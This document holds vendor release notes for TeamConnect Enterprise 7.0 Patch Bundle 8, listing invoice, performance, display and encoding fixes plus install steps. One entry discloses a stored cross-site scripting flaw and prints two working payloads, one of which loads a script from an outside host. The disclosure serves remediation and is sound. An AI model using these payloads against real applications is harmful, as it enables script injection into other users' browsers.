

TeamConnect® Enterprise 7.0 Patch Bundle 8 Release Notes

TeamConnect® Enterprise 7.0 Patch Bundle 8 (PTC7000008) resolves the following issue.

NOTE: This patch also includes fixes from [TCE 7.0 PB1](#), [TCE 7.0 PB2](#), [TCE 7.0 PB3](#), [TCE 7.0 PB4](#), [TCE 7.0 PB5](#), [TCE 7.0 PB6](#) and [TCE 7.0 PB7](#).

Issue: Invoice > Summary Breakdowns > The Total Adj/Net Amt fields after the Adjustment is made does not always match and is off by a few cents.

Tracking Code: SUPPORTPRI-69351

Case Number: 2023-1204-8073539

Reported Version: TCE 7.0 PB6

Workaround

None.

Pre-Requisites

Create an Approval Rule for Invoice Workflow.

Steps to Reproduce

1. Log into TeamConnect and create an invoice.
2. Push it in the workflow.
3. Log in as the current approver.
4. Click on the 'Summary Breakdowns' tab.
5. Summary Breakdowns can be viewed by Timekeeper/By Fee/Expense Category.
6. Make an adjustment 'By Timekeeper' for e.g. based on the invoice select the TK - Last 21, First.
 - a. Adjustment Pop up window should display.
 - b. Add the amount = 800 in the 'Adjust Net Amount' field per the attached screenshot. Save.
 - c. The Net Amt shows 800.01 and the Total Adj shows 42.99. The adjustment amount does not match.
 - d. Similarly, make an adjustment by Fee Category. Notice the decimal places are off.

Expected Results of Steps

The 'Net Amt' field and 'Total Adj' on the Summary Breakdowns page must match the 'Adjust Net Amount' value entered by the user in all cases.

Actual Results of Steps

The 'Net Amt' field and 'Total Adj' on the Summary Breakdowns page does not always match the 'Adjust Net Amount' value entered by the user and is off by cents.

Root Cause Analysis

Modify the code by adding or subtracting the remaining cents accordingly for the last non-null LineItem which were off in Net Amt in Summary breakdowns when adjusting using 'New Amount' and 'Reduce by amount'.

Issue: Application executes cross-site scripting payload while creating audit appenders

Tracking Code: SUPPORTPRI-68854

Case Number: None.

Reported Version: TCE 7.0

Workaround

None.

Pre-Requisites

None.

Steps to Reproduce

1. Login in to TeamConnect using the normal user account and go to the endpoint and click on 'Audit Appenders' menu.
2. Click on New Button and enter the XSS payload in the 'Name' field:
 - a. Payload: "><script>alert(document.domain)</script>
3. After clicking on the 'Save and Close' button, an alert window popup is displayed.
4. The same XSS payload was also executed in the 'Export Design Change' functionality.
5. Since there was a server-side validation of 50 characters in the name field, the XSS payload on a domain and called it using script tag:
 - a. Payload: "><script/src=//call-tr.surge.sh/p.js></script>

The severity of XSS was marked as moderate because 'HttpOnly' and 'Secure' flags were present.

Expected Results of Steps

None.

Actual Results of Steps

1. Encode the output of any user-supplied input so that it renders as data in the user's browser, rather than as code. For example, the '&' character should appear as the HTML entity '&'.
2. Common template frameworks and programming languages have built-in functions that will perform HTML encoding automatically. The type of output encoding needed may depend on where the user input will be used.

For example, HTML encoding would be used for content displayed on a web page, whereas user input used in JavaScript code would need JavaScript-specific output encoding. When possible, use input validation to restrict accepted user input to expected character types, values, and maximum lengths

Root Cause Analysis

Values displayed on the Audit Appenders and Export Design Change pages aren't being escaped, allowing for cross site scripting.

Issue: Could not see the number of Documents count on Hover over on Documents folder in TCE 7.0 version with patch 5 applied.

Tracking Code: SUPPORTPRI-69347

Case Number: 2023-1220-8090500

Reported Version: TCE 7.0

Workaround

None.

Pre-Requisites

TCE 7.0 with patches 1, 2 and 5 applied.

Steps to Reproduce

1. Login to TCE 7.0 with patches 1, 2 and 5 applied.
2. Go to the Documents object.
3. Click "Top Level" on the left side panel.
4. Hover over on any document folder

Expected Results of Steps

On hovering over the document folder, it should show file count in the folder.

Actual Results of Steps

On hovering over the document folder, it does not show file count in the folder.

Root Cause Analysis

As we are generating hover over through js, the number of child documents was not counting, so in DocumentDecorator num is modified to count the child documents. With this a method to calculate the child documents if the document in the instance of EmailDocument is also added.

Issue: Saving an invoice with a large number of line items after adjusting one line item is slow.

Tracking Code: SUPPORTPRI-69359

Case Number: 2023-1115-8054463

Reported Version: TCE 7.0 PB6

Workaround

None.

Pre-Requisites

Create a few custom fields on the line item object - Root Category.

Steps to Reproduce

1. Create an invoice with a large number of line items > 1000.
2. Adjust a line item.
3. Save will take a few minutes.

Expected Results of Steps

Adjusting a line item should not take a few minutes.

Actual Results of Steps

Adjusting a line item is slow and takes a few minutes.

Root Cause Analysis

NA

Issue: Invoice > Interactive Line Items > Inconsistent scrollbar within a scrollbar for certain line items that contain Warnings.

Tracking Code: SUPPORTPRI-69363

Case Number: 2023-1102-8041408

Reported Version: TCE 7.0 PB5

Workaround

None.

Pre-Requisites

This is happening in the users test that has been upgraded to TCE 7.0 PB5 after testing SUPPORTPRI-68504.

Steps to Reproduce

1. Open an invoice with line item Warnings.
2. Some show a scrollbar within a scrollbar hiding warnings and other line items do not show a scrollbar.

Expected Results of Steps

The user does not want a scrollbar within the scrollbar and wants all line item warnings to show without scrolling.

Actual Results of Steps

Scrollbar causes the line items warnings to not display all at once and can be missed by the invoice approver/reviewer.

Root Cause Analysis

NA

Issue: Facing an issue with & operator. A record with '&' in name, on hovering showing '&';

Tracking Code: SUPPORTPRI-69371

Case Number: None

Reported Version: TCE 7.0 (PB 1, 2 and 5)

Workaround

None.

Pre-Requisites

Have TCE-7.0 with PB -1, 2 and 5 and Patch 6 (as per QAQ-9829)

Steps to Reproduce

Go To any name in TeamConnect such as Contact, Office, Matter which has "&" and then hover over it.

Expected Results of Steps

The record name should reflect as it was saved.

Actual Results of Steps

On hovering any record name in a custom/standard object it is showing 'amp;' instead of '&'.

Root Cause Analysis

Update HTML escaping to single escape operation.

Issue: Option to change 'View' missing in the Invoice Page with Interactive Line Items block.

Tracking Code: SUPPORTPRI-69430

Case Number: 2024-0117-8115433

Reported Version: TCE 7.0 PB7

Workaround

The user has to go back and update the view in an invoice which has data to display for the “chosen view”.

Pre-Requisites

Instance with TeamConnect 7.0 Patch Bundle 7 which has 'Interactive Grids' enabled and 'Interactive Line Items' block to the Default Object View of the "Invoice" object.

Steps to Reproduce

1. Open an invoice and choose a different view than the default view ('All Line Items Interactive').
2. Now, go back and open any other invoice.
3. The newly opened invoice doesn't have data to display for this “Chosen” view. Even though the warning of 'There are no line items on the Invoice' can be justified as the chosen view doesn't have any manually adjusted line items to show, there is no option for the user to change the View.
4. The user has to now go back to the previous invoice and set the view to 'All Line Items Interactive' to resolve this issue.

Expected Results of Steps

Users should have the ability to choose the 'View'.

Actual Results of Steps

Line Items block shows up empty or shows 'There is no Line Items' warning. User doesn't have the ability to choose the 'View'.

Root Cause Analysis

Item View Dropdown is invisible/hidden due to the `lineItemData` array has a length of zero or if it is null, the code inside the try block will not execute the promise returned by `i18n.localize([...])`

Issue: Document with Special Character 'č' is having the file name truncated when the file is downloaded.

Tracking Code: SUPPORTPRI-64889

Case Number: 2021-0401-762178

Reported Version: TCE 6.2.1

Workaround

None.

Pre-Requisites

- Need user's Test Environment Login Credentials.
- Any Document [PDF, Text, etc.] that contains the special Character '_' in its name.

Steps to Reproduce

1. Login into the user's Test Environment.
2. Go to the Documents Tab.
3. Upload the Documents(s) that contain the Special Character '_' in its name.
4. Once uploaded, try to open it by clicking on it.

Expected Results of Steps

Document gets downloaded to the user's system.

Actual Results of Steps

Ends up in 502 Bad Gateway error.

Root Cause Analysis

No encoding for filename.

Issue: Invoice > Interactive Line Items > The Timekeeper column does not sort.

Tracking Code: SUPPORTPRI-69458

Case Number: 2024-0123-8121390

Reported Version: TCE 7.0 PB6

Workaround

None.

Pre-Requisites

Interactive Line Items must be enabled.

Steps to Reproduce

1. Create an invoice with multiple line items tied to a few timekeepers.
2. Sort the timekeepers column.
3. The sorting is incorrect.

Expected Results of Steps

The Timekeeper column must sort correctly.

Actual Results of Steps

The Timekeeper column does not sort logically.

Root Cause Analysis

Adding a function called 'getCustomSortColumn' to sort columns such as Timekeeper and Project, whose fieldType is 'OBJECT_LINK', based on the displayName.

Issue: TeamConnect Slowness after applying TC 7.0 PB 6 when using Custom Search Tool.

Tracking Code: SUPPORTPRI-69572

Case Number: 2023-1206-8075331

Reported Version: TCE 7.0 PB6

Workaround

None.

Pre-Requisites

- TeamConnect 7.0 Patch Bundle 6 applied.
- CSM 7.0

Steps to Reproduce

1. After applying PB6, the user reported performance issues as the whole QA application has become very slow.
2. Later it was identified that any actions involving the 'Invoice' object - Invoice Manual creation, deletion and updation - is very slow and is not possible to complete, either the screen freezes and the application needs to be restarted or it ends up with the user getting kicked out of the session.

Expected Results of Steps

Instance needs to be working fine after the TeamConnect 7.0 PB6 application.

Actual Results of Steps

Application is slow and anything involving 'Invoices' is impossible to work with.

Root Cause Analysis

NA

The fixes in this patch will be merged into TCE 7.2

INSTALLATION

Important: Stop your TeamConnect® instance before updating any files in the TeamConnect® war file.

1. Replace WAR file

This patch requires replacing the entire .war file due to the number of files/libraries affected,

1. Grab the patched .war file.
2. Place/replace all the configuration files from your existing .war file into the patched .war file.
 - a. teamconnect.properties
 - b. web.xml
 - c. weblogic.xml

- d. weblogic-application.xml
 - e. any ssl certificates
3. Redeploy the new .war file.

2. Update database and version information

Use the following steps to update the database and add patch version information to the **About** page of the **Admin Settings**.

1. Stop the TeamConnect® instance if it is currently running.
2. Backup your TeamConnect® database.
3. Run the script, located in **\update**, that is appropriate for your database server:
 - a. MSSQL_TeamConnect_700_PatchBundle_8.sql
 - b. Oracle_TeamConnect_700_PatchBundle_8.sql
4. Restart TeamConnect®.

UPGRADE CONSIDERATION

No significant upgrade considerations for this patch

LEVEL OF RISK TO UPDATE WITH PATCH

LOW